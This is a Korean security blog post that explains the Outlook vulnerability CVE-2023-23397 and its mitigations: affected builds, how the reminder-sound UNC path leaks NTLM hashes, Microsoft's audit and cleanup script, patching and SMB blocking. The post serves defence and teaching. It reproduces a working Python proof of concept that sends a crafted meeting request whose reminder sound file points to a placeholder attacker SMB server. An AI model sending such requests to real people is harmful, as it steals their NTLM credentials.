1. Microsoft Outlook

- 마이크로소프트 오피스의 구성 요소 (이메일 소프트웨어)

 

1.1 용어

용어 설명
MAPI 
(Messaging Application Programming Interface)
-  윈도우 응용프로그램(아웃룩 전자 메일 클라이언트) 내에서 전자우편을 보내거나, 자신이 현재 작성중인 문서를 전자우편 내용 위에 첨부할 수 있도록 해주는 등 Exchange 서버의 모든 기능을 완전히 사용할 수 있도록 하는 마이크로소프트의 독점 프로토콜
SMB
(Server Message Block)
- 다양한 운영체제 간 자원 공유를 쉽게 해줄 목적으로 만들어진, 네트워크 상 존재하는 노드들 간에 자원을 공유할 수 있도록 설계된 프로토콜
- 네트워크에 연결된 컴퓨터끼리 파일, 프린터, 포트 또는 기타 메시지를 전달하는데 사용
UNC 
(Universal Naming Convention)
- 공유 파일이 저장되어 있는 장치를 명시하지 않고서도 파일을 확인할 수 있는 방법.
- 파일, 폴더, 프린터 및 공유 리소스와 같은 네트워크 리소스를 식별하고 찾기 위해 Microsoft Windows 운영 체제에서 사용되는 명명 시스템
NTLM
(New-Technology LAN Manager)
윈도우에서 제공하고 있는 인증 프로토콜 중 하나로 Challenge-Response라고 불리는 인증 프로토콜 방식을 사용
- 최근에는 거의 쓰이지 않고 있으며 MS 에서도 사용을 권장하지 않으나, SMB 프로토콜에도 하위호환성을 위해 내장

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-23397 [1]

- Microsoft Outlook에서 발생하는 권한 상승 취약점으로, CVSS 9.8을 할당 받음

- 피해자가 메일을 읽지 않아도 공격자는 피해자의 NTLM 정보를 탈취할 수 있음

- 취약한 버전 목록 [2][3]

※ Android, iOS, Mac과 같은 다른 버전의 Microsoft Outlook과 웹용 Outlook 및 기타 M365 서비스는 영향을 받지 않음

제품명 버전 빌드
Current Channel Version 2302 Build 16130.20306
Monthly Enterprise Channel Version 2301 Build 16026.20238
Monthly Enterprise Channel Version 2212 Build 15928.20298
Semi-Annual Enterprise Channel (Preview) Version 2301 Build 16130.20306
Semi-Annual Enterprise Channel Version 2208 Build 15601.20578
Semi-Annual Enterprise Channel Version 2202 Build 14931.20944
Office 2021 Retail Version 2301 Build 16130.20306
Office 2019 Retail Version 2302 Build 16130.20306
Office 2016 Retail Version 2302 Build 16130.20306
Office LTSC 2021 Volume Licensed Version 2108 Build 14332.20481
Office 2019 Volume Licensed Version 1808 Build 10396.20023

 

2.1 공격 원리 [4][5][6]

[사진 2] 공격 과정 요약

- Outlook의 캘린더에는 약속한 일정을 사용자에게 알려주는 '미리 알림' 기능이 존재하며, 약속 기한이 지났을 때도 알림을 발생

 

- MAPI의 "PidLidReminderFileParameter"는 약속 기한이 지나, 지연 알림에 클라이언트가 재생할 사운드의 파일 경로(UNC)를 지정하는 데 사용됨 [7]

- 또한 "PidLidReminderOverride"는 PidLidReminderFileParameter 값을 신뢰할 것인지 결정 [8]

 

- 공격자는 메일에 "PidLidReminderFileParameter" 값을 공격자가 제어 가능한 SMB 서버로, "PidLidReminderOverride"을 true로 설정하여 전송

[사진 3] 악성 메일

 

2.2 PoC [9]

- 공격자가 제어하는 SMB서버의 주소를 BAD_ADDRESS 변수에 저장
- send_meeting_request()를 이용해 조작된 메일을 생성 및 전송

#!/usr/bin/env python3

__author__ = "William Golembieski"
__license__ = "Apache License 2.0"
__email__ = "william@armoryanalytics.com"

import win32com.client

OUTLOOK_FORMAT = '%m/%d/%Y %H:%M'
def outlook_date(dt): return dt.strftime(OUTLOOK_FORMAT)


class OutlookClient(object):
    def __init__(self):
        self.outlook = win32com.client.Dispatch('Outlook.Application')

    def send_meeting_request(self, subject, time, location, recipients, body, bad_location):
        mtg = self.outlook.CreateItem(1)
        mtg.MeetingStatus = 1
        mtg.Location = location
        for recipient in recipients:
            mtg.Recipients.Add(recipient)
        mtg.Subject = subject
        mtg.Start = outlook_date(time)
        mtg.Duration = 60
        mtg.ReminderMinutesBeforeStart = 30
        mtg.ResponseRequested = False
        mtg.Body = body
        mtg.ReminderSet = True
        mtg.ReminderOverrideDefault = True
        mtg.ReminderSoundFile = bad_location
        mtg.Save()
        mtg.Send()


if __name__ == "__main__":
    MEETING_SUBJECT:      str = "Test Of CVE-2023-23397"
    MEETING_BODY_TEXT:    str = "CVE-2023-23397 Test email"
    MEETING_LOCATION:     str = "Virtual"
    MEETING_RECIPIENTS: [str] = [
        'user@test.com',
        'user2@test.com'
    ]

    # External UNC location
    BAD_ADDRESS: str = "\\\\<your>.<bad>.<location>.<here>\\@<port>\\<file>.<extension>"

    import datetime
    ol = OutlookClient()

    # Set meeting time 3 hours from now
    meeting_time = datetime.datetime.now() + datetime.timedelta(hours=3)

    ol.send_meeting_request(MEETING_SUBJECT, meeting_time, MEETING_LOCATION, MEETING_RECIPIENTS, MEETING_BODY_TEXT,
                            BAD_ADDRESS)

 

3. 대응방안

① "PidLidReminderFileParameter"의 값이 UNC로 변경되었는지를 확인하여 피해 여부를 파악

- 3월 15일 Microsoft는 취약점이 Exchange 환경 내에 존재하는지 검사하는 스크립트 CVE-2023-23397.ps1 공개 [10]

⒜ 사전 준비

> Exchange Server (on-premises) : EMS(Exchange 관리 셸)에서 아래 PowerShell 명령을 실행

New-ThrottlingPolicy “CVE-2023-23397-Script”
Set-ThrottlingPolicy “CVE-2023-23397-Script” -EWSMaxConcurrency Unlimited -EWSMaxSubscriptions Unlimited -CPAMaxConcurrency Unlimited -EwsCutoffBalance Unlimited -EwsMaxBurst Unlimited -EwsRechargeRate Unlimited
Set-Mailbox -Identity “<UserWhoRunsTheScript>” -ThrottlingPolicy “CVE-2023-23397-Script”

> Exchange Online : 전역 관리자 또는 응용 프로그램 관리자 권한으로 실행

 

⒝ 점검 시작

⑴ 감사 모드(Audit Mode) : 스크립트는 속성이 채워진 항목의 세부 정보가 포함된 CSV 파일을 제공
> Exchange Server (on-premises)

Get-Mailbox -ResultSize Unlimited | .\CVE-2023-23397.ps1 -Environment Onprem

> Exchange Online

Get-Mailbox -ResultSize Unlimited | .\CVE-2023-23397.ps1 -Environment “Online”

⑵ 정리 모드(Cleanup Mode) : 스크립트는 속성을 지우거나 항목을 삭제하여 감지된 항목에 대한 정리를 수행
> Exchange Server (on-premises)

.\CVE-2023-23397.ps1 -Environment Onprem -CleanupAction ClearProperty -CleanupInfoFilePath <Path to modified CSV>

> Exchange Online

.\CVE-2023-23397.ps1 -CleanupAction ClearProperty -CleanupInfoFilePath <Path to modified CSV>

 

② 현재 사용중인 Outlook 버전 확인 후 최신 버전 업데이트 적용 [11]

- Outlook 실행 > 파일 > Office 계정 > Outlook 정보에 표시된 버전 확인

[사진 4] Outlook 버전 확인

 

③ 미리 알림 해제

- 옵션 > 고급 > 미리 알림 > ‘미리 알림 표시’ 체크 해제

> 단, 해당 메일을 열어 ‘다음 소리 재생(Play this sound)’을 체크하고 소리를 재생할 시 취약점이 발현됨

 

④ 업데이트 적용이 불가한 경우 다음의 임시조치 적용

- SMB 포트 차단
> TCP 445/SMB 아웃바운드 트래픽을 차단

 

- NTLM 인증 사용 차단.
> 보호된 사용자 보안 그룹(Protected Users Security Group)에 계정을 추가해 NTLM을 인증을 사용하지 못하도록 한다.
※ NTLM이 필요한 서비스에 영향을 미칠 수 있으므로 영향도 검토 필요

 

⑤ 보안 장비에 IoC 등 침해지표 등록

 

4. 참조

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-23397
[2] https://learn.microsoft.com/en-us/officeupdates/microsoft365-apps-security-updates
[3] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71019&menuNo=205020
[4] https://www.balbix.com/blog/urgent-action-recommended-microsoft-outlook-vulnerability-cve-2023-23397/
[5] https://www.bleepingcomputer.com/news/security/critical-microsoft-outlook-bug-poc-shows-how-easy-it-is-to-exploit/
[6] https://blog.cyble.com/2023/03/16/microsoft-outlook-zero-day-vulnerability-cve-2023-23397-actively-exploited-in-the-wild/
[7] https://learn.microsoft.com/en-us/office/client-developer/outlook/mapi/pidlidreminderfileparameter-canonical-property
[8] https://learn.microsoft.com/en-us/office/client-developer/outlook/mapi/pidlidreminderoverride-canonical-property
[9] https://github.com/BillSkiCO/CVE-2023-23397_EXPLOIT/blob/main/cve-2023-23397.py
[10] https://microsoft.github.io/CSS-Exchange/Security/CVE-2023-23397/
[11] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397
[12] https://www.boannews.com/media/view.asp?idx=115328&page=1&kind=1
[13] https://www.boannews.com/media/view.asp?idx=115278
[14] https://www.boannews.com/media/view.asp?idx=115324
[15] https://zdnet.co.kr/view/?no=20230320103605 

+ Recent posts